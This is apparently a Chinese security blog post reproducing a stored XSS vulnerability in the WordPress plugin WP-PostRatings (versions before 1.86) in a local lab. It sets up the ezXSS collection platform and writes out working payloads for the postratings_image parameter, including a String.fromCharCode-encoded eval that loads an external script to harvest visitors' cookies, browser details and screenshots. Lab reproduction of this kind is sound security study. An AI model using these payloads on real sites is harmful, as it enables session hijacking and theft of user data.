【原创】WP-PostRatings存储型XSS漏洞复现&ezXSS平台使用 – 作者:九月1234

WP-PostRatings是一款WordPress的投票评分插件,截止目前最新版本为1.89,共有80,000+活跃安装量。

1609942329_5ff5c539e3dcf5ebed2b8.png!small

(插件官方介绍)

在这款插件的<1.86版本中,存在一个由于传递参数不当(也可理解为逻辑不严谨)引起的存储型XSS漏洞。这个漏洞原理并不复杂,整个利用过程比较适合新手练习。国内百度搜索结果并没有关于这个漏洞的信息,遂决定将自己的漏洞复现过程记录并分享,希望可以起到抛砖引玉的作用。

1609942892_5ff5c76cd37fcf07afba6.png!small

(百度搜索结果)

首先,肯定是环境搭建,我采用的是win10虚拟机+phpstudy,官网下载最新的wordpress源码并安装,这一步过程较为简单,在这里省略,不占据主要篇幅。1609943562_5ff5ca0aaa2bfb00504d1.png!small

(环境搭建完成)

在这里按照自己的习惯在WWW目录下单独建立文件夹,将wordpress装入这个文件夹并配置了一个VirtualHost:

1609944948_5ff5cf74c3188edb499f7.png!small

1609944976_5ff5cf905d61e1198ce80.png!small

这样配置后,在浏览器输入mysite/即可进入建立好的网站。

接下来安装存在漏洞版本的插件,在wordpress插件市场搜索PostRatings,进入插件详情页面,点击WordPress.org插件页面 => Advanced View ,拉到页面最下方,选择1.86版本,下载即可(不要选择1.86.1版本,此版本修复了这个漏洞,具体可参考版本更新说明)

1609943888_5ff5cb506d78c83fd2daa.png!small

1609943917_5ff5cb6d97090549db750.png!small

1609944022_5ff5cbd66676859de028a.png!small

(下载存在漏洞的插件版本)

然后,在wordpress插件管理界面安装插件,选择下载的压缩包安装即可。

安装完成之后,wordpress左侧管理菜单会增加插件的管理菜单,如下图:

1609944222_5ff5cc9e7dc7641ed6b47.png!small

(PostRatings插件管理菜单)

根据插件安装说明,我们打开网站目录下的\wp-content\themes\[主题名称]\  文件夹,因为我安装的主题为ashe,所以我这边对应的路径为\wp-content\themes\ashe\,我们在该文件夹下single.php的comments评论模块下,插入插件的代码:

1609945673_5ff5d2490774b904d1557.png!small

这样,在每个文章评论下方,都会出现一个评分的功能,不过如果没有进一步修改,默认的样式会很丑:

1609945774_5ff5d2ae7e788bb6470d0.png!small

不过这不是重点,目前已经顺利安装了插件并实现了文章评分功能,下一步开始复现这个漏洞。

根据Exploit-DB上提供的漏洞POC,存在漏洞的页面为postratings-options.php,也就对应插件管理菜单的Ratings Options页面,提交这个页面之后,就会发送可能导致漏洞的POST请求。

我们选择Ratings Options进入插件设置页面,打开Fidder,或者其他你喜欢的所有HTTP抓包改包工具准备抓包,默认评分方式为Starts并且有5个等级的评分,为了方便我们测试漏洞,我们将starts评分方式修改为heart,保证Fidder可以抓到数据包,拉到页面最下方点击SaveChanges。

1609945137_5ff5d031ba3f118387a19.png!small

在Fidder抓到这个请求的包之后,发送到Composer中准备修改数据,双击数据包,寻找postratings_image字段,发现这个字段当前的值为heart:

1609946420_5ff5d5343a7b73af84dfd.png!small

我们将这个参数随意修改一下,然后重新发送,刷新插件管理页面看看有没有异常:

1609946753_5ff5d6811fbf643b42d57.png!small

(将此参数随意修改为三个小写字母x)

我们发现,刷新后的插件管理页面中有一张图像无法正常显示,查看该图像对应的源码,发现路径被提交的参数控制:
1609946912_5ff5d7205abec444f71f5.png!small也就是说,我们现在可以控制图像路径中的一部分,那我们立即想到可不可以闭合路径,控制onerror属性执行js代码:

postratings_image=xxx”+onerror=alert(1);

发现并没有成功执行,继续查看源码,虽然闭合成功了,也插入了onerror属性,但是js代码后没有闭合,导致js执行失败,那干脆直接注释掉后边的内容:

1609947380_5ff5d8f46de8d809adf2b.png!small

(前方闭合成功,js代码后没有闭合)

postratings_image=xxx”+onerror=alert(1);//

刷新页面,成功执行代码:

1609947549_5ff5d99dabb38afa345e8.png!small

(测试代码执行)

现在,我们已经验证了这个漏洞,接下来我们搭建一个XSS信息收集平台,模拟实战的漏洞利用。

我们在github上找到一个不错的开源XSS平台:ezXSS,就像它的名字一样,它是一个很简单易用且功能强大的XSS信息收集平台。下载源码,扔到phpstudy中去,virtualhost映射域名为ezxss:1609947884_5ff5daec5573a2503d636.png!small

这里注意选择https协议,在  设置=>配置文件=>httpd.conf=>Apache对应版本的配置文件中,Ctrl+F找到mod_rewrite模块并去掉前边的注释,开启这个模块。

1609948129_5ff5dbe1ad42bb99bec88.png!small

(开启mod_rewrite模块)

访问https://ezxss/即可进入安装流程,安装后进入系统主界面:

1609948169_5ff5dc09755ab9ec3a422.png!small

在payload下即可设置需要收集的信息,并且找到可以对应不同情况的XSS payload,这里我们结合我们的利用方式,选择Create Element的方式:1609948324_5ff5dca4693bb042d1af7.png!small

直接复制并替换我们之前构造的利用代码,对网址稍作修改:

postratings_image=xxx”+onerror=eval(‘var a=document.createElement(\’script\’);a.src=\’https://ezxss\’;document.body.appendChild(a)’);//

我们直接用fidder重放这个修改参数后的POST包,并刷新页面,发现代码并没有执行,查看html源码发现,部分特殊字符被转义:

1609948853_5ff5deb5b00815a104d92.png!small

此时,立即想到使用String.fromCharCode函数绕过转义,祭出余弦大佬的XSS’OR,要特别注意,使用此函数时eval函数内的文本代码本身就不需要再进行转义,直接写正常代码就好,所以在进行编码前,先修改一下原代码:

var a=document.createElement(‘script’);a.src=’https://ezxss’;document.body.appendChild(a)

去掉了”script”和网址周围的转义符,直接将这段代码扔进XSS’OR编码:

1609949240_5ff5e0389267796241eff.png!small

1609949268_5ff5e054ccd0e5ed4d2d1.png!small

编码完成,组合成为最终利用代码:

postratings_image=xxx”+onerror=eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,115,58,47,47,101,122,120,115,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41))//

修改参数,继续利用Fidder重放包,刷新页面:

1609949522_5ff5e15294c2b0e4fb950.png!small

终于,经过一系列努力,我们看到成功加载执行了ezxss平台的payload,现在去平台里看看都收集到了哪些信息:

1609949726_5ff5e21eba585730344a0.png!small

1609949742_5ff5e22e12cd2d7b0b7bb.png!small

不仅通过这个XSS漏洞收集到了浏览者的cookies、浏览器信息,甚至还保存了页面截图信息。

邮箱:[email protected]

来源:freebuf.com 2021-01-07 00:22:06 by: 九月1234

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论